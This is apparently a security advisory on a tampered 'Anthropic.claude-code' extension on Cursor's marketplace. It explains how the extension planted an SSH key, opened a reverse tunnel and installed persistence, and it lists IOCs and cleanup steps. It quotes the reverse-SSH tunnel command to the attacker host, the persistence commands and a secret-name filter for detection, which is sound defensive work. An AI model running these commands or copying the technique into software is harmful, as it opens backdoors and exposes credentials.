# A verified publisher name, 11 hours of distribution, and one SSH key that stays behind: the fake Claude Code extension on Cursor Marketplace

## Summary

On **October 29, 2026**, two versions of the `Anthropic.claude-code` extension — **2.1.312 and 2.1.313** — appeared on the **Cursor VS Code Extension Marketplace** with malicious code injected. The distribution window lasted roughly **11 hours**: from **2:27am to 1:35pm Pacific**, which is **4:27pm on Oct 29 to 3:35am on Oct 30 Vietnam time**.

The payload planted an attacker SSH key in `~/.ssh/authorized_keys`, opened a **reverse SSH tunnel** back to the attacker's server, installed per-OS persistence, and sent a host report to C2.

Two things to hold onto:

- **Cursor states these versions were not developed by Anthropic**, and **Anthropic's official distribution channels are unaffected**. This incident touches Cursor users only.
- **Uninstalling or updating the extension does not remove the backdoor.** The SSH key and the persistence mechanism stay on the machine. **Priority actions:**
- **If anyone on your team uses Cursor and installed or updated the Claude Code extension in that window**, grep `~/.ssh/authorized_keys` for the string `svc-telemetry` right now. It is one command, ten seconds, and the most specific indicator available.
- **Treat every credential on that machine as exposed** and rotate it **from a clean machine**, not from the suspect host.

## What happened

```plaintext
2026-10-29  02:27 PT   Modified version becomes available on Cursor Marketplace
                       (16:27 Oct 29, Vietnam time)
2026-10-29  13:35 PT   No longer available; Cursor removed it on detection
                       (03:35 Oct 30, Vietnam time)
2026-10-29             Cursor shuts the marketplace down entirely as a precaution,
                       then rebuilds it and brings it back online
2026-10-30  05:30 UTC  Phorion publishes its technical analysis
2026-10-30  11:30 PT   Cursor updates the IOCs and clarifies affected versions
2026-10-31  00:43 UTC  Phorion adds 2.1.312 to scope, per Cursor's notice
```

Beyond removing the extension, Cursor also: blocked further distribution, **audited access and confirmed no other extensions were tampered with**, **rotated its own keys** before restoring the marketplace, and worked with the hosting provider to take the attacker's server down — per Cursor, that server **no longer functions**.

> **Note on version scope:** Cursor told The Register the malicious extension was version **2.1.313**, downloadable for about 11 hours. The official notice later **added 2.1.312** to the scope. This post follows the official notice: both versions warrant a check.

## The payload: four stages, running before `activate`

The malicious code is an **IIFE prepended to the minified** `extension.js`. It imports `child_process`, `fs`, `os`, `path`, `http` and `crypto`.

The timing matters: this code **runs the moment Node loads the file, before the extension's** `activate` **function is called**. The user does not have to open Claude Code, or click anything. The IDE loading the extension is enough.

### Stage 1 — Planting a key in `authorized_keys`

The payload appends an **Ed25519 public key** with the comment `svc-telemetry` to `~/.ssh/authorized_keys`, then sets `~/.ssh` to 0700 and the file to 0600 — it even *fixes the permissions* so SSH will accept the key.

A useful detail for hunting: **the script checks for the presence of the string** `svc-telemetry`**, not for the key itself**. That makes the string a reliable thing to grep for.

It then tries to enable the OS SSH server — and this is where the payload stumbles:

- **On macOS:** the script runs `systemsetup -getremotelogin` without root. The command prints an admin-access error **but still exits 0**. The script's `/Off/i` regex does not match that error text, so the enable step is **skipped**.
- **On Windows:** the `Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0` call goes through a helper that **hardcodes** `/bin/sh`, which will likely fail on a standard Windows install. The payload carries **no privilege escalation exploit**. Enabling SSH requires `sudo -n` or an already-admin context.

**None of this is a reason to relax**, and both Cursor and Phorion say so explicitly. The key is still in `authorized_keys`. If Remote Login gets enabled later — for any perfectly legitimate reason, a developer turning on SSH to work — the backdoor becomes live. The host details were already sent, and the persistence was already installed.

### Stage 2 — The reverse tunnel

The payload opens an **outbound** SSH connection forwarding remote port 0 back to local port 22:

```plaintext
ssh -N -R '*:0:localhost:22' tunnel@134.209.82[.]225 -p 22
     host key checking disabled, known_hosts ignored, BatchMode,
     IdentitiesOnly, 30-second keepalives, ExitOnForwardFailure
```

The Ed25519 private key for the tunnel is **embedded in the payload unencrypted**, with the comment `svc-telemetry-tun`, and written to:

```plaintext
$TMPDIR/.stk_<10 hex characters>
   suffix = first 10 characters of MD5(hostname + HOME)
```

That naming makes the filename different on every machine, so you cannot hunt for a fixed name — you have to match the `.stk_*` pattern.

The reconnect loop uses `autossh -M 0` when available, otherwise `ssh`, **retrying every 60 seconds** in a detached process. The consequence: **it survives closing the IDE**.

On the attacker's side, they connect to the port their server allocated, which routes back through the tunnel to the victim's SSH daemon and authenticates with the key planted in stage 1.

### Stage 3 — Persistence

| Platform | Mechanism | Notes |
| --- | --- | --- |
| macOS | User LaunchAgent `~/Library/LaunchAgents/com.apple.sysmond.plist`, running `/bin/sh ~/.config/.smt` with `RunAtLoad` and `KeepAlive` | Runs in user context, not as a root daemon |
| Linux | `@reboot` crontab entry pointing at `~/.config/.smt` | Per Phorion, the crontab handling **can wipe the user's existing cron jobs** on repeat runs |
| Windows | Scheduled task `SysMon` running as **SYSTEM**; fallback is `sysmon.cmd` in the Startup folder | Task creation needs admin; the fallback runs at user login |

The names are chosen to look familiar: `com.apple.sysmond`, `SysMon`, `sysmon.cmd` — all evoking legitimate system monitoring components.

### Stage 4 — The beacon

About **1.5 seconds after setup**, the payload sends a **one-time** report:

- Hostname, username, OS, architecture, home directory, working directory
- **Globally configured Git email**
- Public IP, from `ifconfig.me` with `api.ipify.org` as fallback
- Status flags saying whether each setup step succeeded
- **The names of up to 40 environment variables** matching `KEY|TOKEN|SECRET|PASS|AWS|GCP` That last item is worth noting: the payload takes the **variable names, not the values**. In other words, this is **reconnaissance to learn what the machine is worth**, with the actual theft to follow over the SSH tunnel.

Transport is **plaintext HTTP**, POSTed to `/beacon` on `134.209.82[.]225:8099`, plus a second send to `127.0.0.1:8099` that Phorion could not explain — the script sets up no local listener. Responses are discarded entirely, which reinforces that this is a check-in and nothing more.

## How it reached the marketplace: nobody has said

This is the most important question of the whole incident, and the three layers of available information deserve to be kept separate rather than merged:

**Cursor** writes that the modified version "was made available" on the marketplace, and **does not explain how it was uploaded**. Cursor states the versions were **not developed by Anthropic**, that it audited access, confirmed no other extensions were tampered with, and rotated its keys.

**Anthropic**, through Felix Rieseberg (technical staff) on X, said: *"We're working with Cursor on this incident, but it wasn't a compromise of Anthropic's systems or employee laptops"*, that *"a malicious actor used access to Cursor's marketplace to publish a tampered copy of the Claude Code extension"* which they *"didn't build or publish"*, and that *"the versions on our official channels are not affected, and this only impacts Cursor users"*.

**The Register** additionally reports that some industry figures alleged the upload followed a breach at Anthropic — but **neither company has confirmed that**.

The same care applies to the victim count: The Register cites a figure of **"up to 5,000 developers"** while noting it comes from **security industry allegations, not from Cursor or Anthropic**. To date **neither company has published an official number**.

## Assessment

**A verified publisher name stops being a trust signal once the same extension lives on several marketplaces.** A Cursor user saw `Anthropic.claude-code`, saw the right publisher name, and installed. The trust they were extending was trust in Anthropic, but what actually protected them was Cursor's review process. The gap between those two is exactly where this incident happened, and it exists in every ecosystem with parallel marketplaces.

**An IDE extension is one of the most valuable positions an attacker can occupy.** It runs with the developer's privileges, on a machine holding SSH keys, cloud tokens, repository credentials and access to internal systems. The `KEY|TOKEN|SECRET|PASS|AWS|GCP` filter in the payload shows the attacker knew exactly what they were looking for.

`authorized_keys` **is the cheapest and most durable persistence left on a developer machine.** It is not malware, there is no process to kill, no strange binary to scan. It is one line of text in a file that almost no monitoring system watches. And as this incident shows, it **survives uninstalling the extension, updating it, and rebooting**.

**The bugs in the payload tell you about process, not about risk.** The two failures on macOS and Windows suggest code built quickly and never tested on real platforms. That is consistent with an 11-hour window: the attacker may not have known how long they would have, so shipping early beat polishing. But for any given machine, their bugs do not change the conclusion: the key is there, persistence is installed, the data has been sent.

**Cursor's response is the part worth crediting.** Removal on detection, **shutting the entire marketplace down** rather than pulling one extension, rebuilding it, auditing everything, rotating keys, working to take the attacker's server offline, and publishing complete IOCs with remediation scripts for both platforms. That is an incident response many larger platforms do not manage.

**But the root-cause gap remains an open problem.** Until someone explains how the attacker obtained the ability to publish under that publisher name, organizations have no basis for judging whether this can recur. That is a question to keep tracking, not one that has been answered.

## Relevance for Vietnam

- **No source gives victim numbers by country**, or even a confirmed total. But this was marketplace distribution, not targeting — whoever installed in that window is affected.
- **Cursor is in wide use across Vietnamese development teams**, and the Claude Code extension is among the most popular on it. This is an incident **to check directly**, not one to read for reference.
- **The distribution window fell during Vietnamese evening working hours**: 4:27pm on Oct 29 through 3:35am on Oct 30. That is a stretch when plenty of Vietnamese developers are still working and IDEs are still auto-updating extensions.
- **Developer machines in Vietnam are frequently outside EDR coverage**, or carry exclusions for project and toolchain directories to protect build performance. For this payload, those exclusions mean nothing stands in the way.
- `~/.ssh/authorized_keys` **is almost never monitored on developer machines.** If your organization has no alert on changes to that file, this incident is reason enough to add one — low cost, low noise, and applicable to many other campaigns.
- **A note for investigation:** if the developer machine has SSH configured to reach internal servers, treat those servers as in scope too, not just the workstation.

## Recommendations

### If anyone on your team uses Cursor

- **Grep** `~/.ssh/authorized_keys` **for** `svc-telemetry` on every machine with Cursor installed, not only the ones someone remembers updating. This is the first and cheapest step.
- **Look for the per-platform artifacts** listed in the IOC section: the `com.apple.sysmond.plist` LaunchAgent on macOS, the `@reboot` cron entry pointing at `~/.config/.smt` on Linux, the `SysMon` scheduled task and `sysmon.cmd` in Startup on Windows, plus `.stk_*` files in the temp directory.
- **Look for running processes**: `ssh -N -R` or `autossh -M 0` with `134.209.82[.]225` as destination, and the `/bin/sh` retry loop.
- **Review network logs for connections to** `134.209.82[.]225` on ports 22 and 8099 during and after the Oct 29–30 window. The beacon is plaintext HTTP, so it is easy to spot if you have proxy logs or NetFlow.
- **On any hit: isolate first, investigate second.** Uninstalling the extension is not sufficient, and Cursor recommends considering a **rebuild of the host**.
- **Clean up in order**: kill the retry loop and any `ssh`/`autossh` processes; unload and delete the LaunchAgent, cron entry or scheduled task along with the Startup script; remove `~/.config/.smt`, `~/.config/.smtk` and `.stk_*`; remove the `svc-telemetry` key line from `authorized_keys`; confirm Remote Login is off. Cursor also provides `remediate-macos.sh` and `remediate-windows.ps1`.
- **Rotate every credential that user could reach, from a clean machine** — prioritizing anything matching the payload's filter: API keys, tokens, secrets, AWS and GCP credentials, and every personal SSH key on the host.

### Prevention for next time

- **Monitor changes to** `~/.ssh/authorized_keys` on every user-facing machine, and treat them as security events rather than routine activity.
- **Consider restricting where extensions can be installed from** for development teams: approved marketplaces only, with extension auto-update governed rather than left at its default.
- **Put developer machines under real EDR coverage.** Where exclusions are unavoidable for performance, scope them to build output directories rather than whole toolchain and user directories.
- **Alert on outbound SSH from workstations to the internet.** For most organizations, a developer machine opening SSH to an unfamiliar IP is anomalous, and the signal is low-noise.
- **Have a credential rotation runbook for developer machines.** In an incident like this, the slow part is not cleaning the host — it is working out which secrets that host ever touched.

## IOCs

> From Cursor's official notice and Phorion's analysis.

**Affected versions**

```plaintext
Anthropic.claude-code 2.1.312
Anthropic.claude-code 2.1.313
Platforms: Windows and macOS
Distribution window: 2026-10-29, 02:27 - 13:35 PT
                     (16:27 Oct 29 - 03:35 Oct 30, Vietnam time)
```

**SHA-256 — VSIX packages**

```plaintext
fcbb327e38e61c4fec795e0d0591f52cd1014b813d20a5912104953c3a17c364   2.1.312 darwin-arm64
3de1722901165769893bef57c72594e9a54459faa23f3091b136b79966edd081   2.1.312 win32-x64
80402fdcad8799285fd93044976973ca000da7995fb93363f819bb8e4f84ee6c   2.1.313 darwin-arm64
6786ec90cbd45949695bd7805c9fbb26cfc91bc5fc897de0183d9bcb9cb21731   2.1.313 win32-x64
```

**SHA-256 — payload**

```plaintext
ecb58cb29078d9646ad1dcdbe51526f2d9cfea06be5fb2ab183e8ecc3ab6bf15   extension.js (contains the attacker IP and the svc-telemetry string)
```

**Network**

```plaintext
134.209.82.225           # attacker server
134.209.82.225:22        # reverse SSH, user "tunnel"
134.209.82.225:8099      # beacon, HTTP POST /beacon
127.0.0.1:8099           # loopback beacon (unexplained, no listener is created)
 
ifconfig.me, api.ipify.org   # legitimate services, used only for public IP lookup
                             # NOT indicators on their own
```

**SSH keys**

```plaintext
Key comment planted in authorized_keys:  svc-telemetry
Fingerprint:  SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk
 
Tunnel key comment:  svc-telemetry-tun
Fingerprint:  SHA256:KOAU57+ZG6u3MG4WwzPzPX2O5YEe9qdOC1Bl+6MVyDQ
```

**Files and persistence**

```plaintext
macOS:
  ~/Library/LaunchAgents/com.apple.sysmond.plist
  $TMPDIR/.stk_<10 hex>
  ~/.config/.smt, ~/.config/.smtk
  ~/.<ide>/extensions/anthropic.claude-code-2.1.312-darwin-arm64
  ~/.<ide>/extensions/anthropic.claude-code-2.1.313-darwin-arm64
 
Linux:
  ~/.config/.smt, ~/.config/.smtk
  /tmp/.stk_<10 hex>
  crontab: @reboot entry pointing at ~/.config/.smt
 
Windows:
  %USERPROFILE%\.config\smt.cmd, %USERPROFILE%\.config\smtk
  %TEMP%\.stk_<10 hex>
  Scheduled task: SysMon  (runs as SYSTEM)
  %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\sysmon.cmd
 
Note: the .stk_* suffix is the first 10 characters of MD5(hostname + HOME),
      so it differs per machine — hunt the pattern, not a fixed filename
```

**Processes and commands**

```plaintext
ssh -N -R '*:0:localhost:22'
autossh -M 0
/bin/sh retry loop every 60 seconds (detached process)
schtasks /create /tn SysMon
systemsetup -setremotelogin on
Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0
```

## References

- Cursor — *Security notice: malicious version of Anthropic.claude-code (2.1.312 and 2.1.313) identified in the Cursor VS Code Extension Marketplace* (Oct 29, 2026, updated Oct 30): <https://cursor.com/blog/claude-code-extension-security-notice>
- Phorion (Calum Hall) — *Official Claude Code Extension Compromise: Security Advisory* (Oct 30, 2026): <https://phorion.io/blog/offical-claude-code-vsx-compromise/>
- BleepingComputer — *Malicious Claude Code extension on Cursor planted SSH backdoors*: <https://www.bleepingcomputer.com/news/security/malicious-claude-code-extension-on-cursor-planted-ssh-backdoors/>
- The Register — *Anthropic: That Claude Code extension compromise… couldn't be us* (Oct 30, 2026): <https://www.theregister.com/cyber-crime/2026/10/30/anthropic-that-claude-code-extension-compromise-couldnt-be-us/5306682>
- CSO Online — *Cursor removes malicious Claude Code extension after SSH backdoor attempt*: <https://www.csoonline.com/article/4243210/cursor-removes-malicious-claude-code-extension-after-ssh-backdoor-attempt.html>
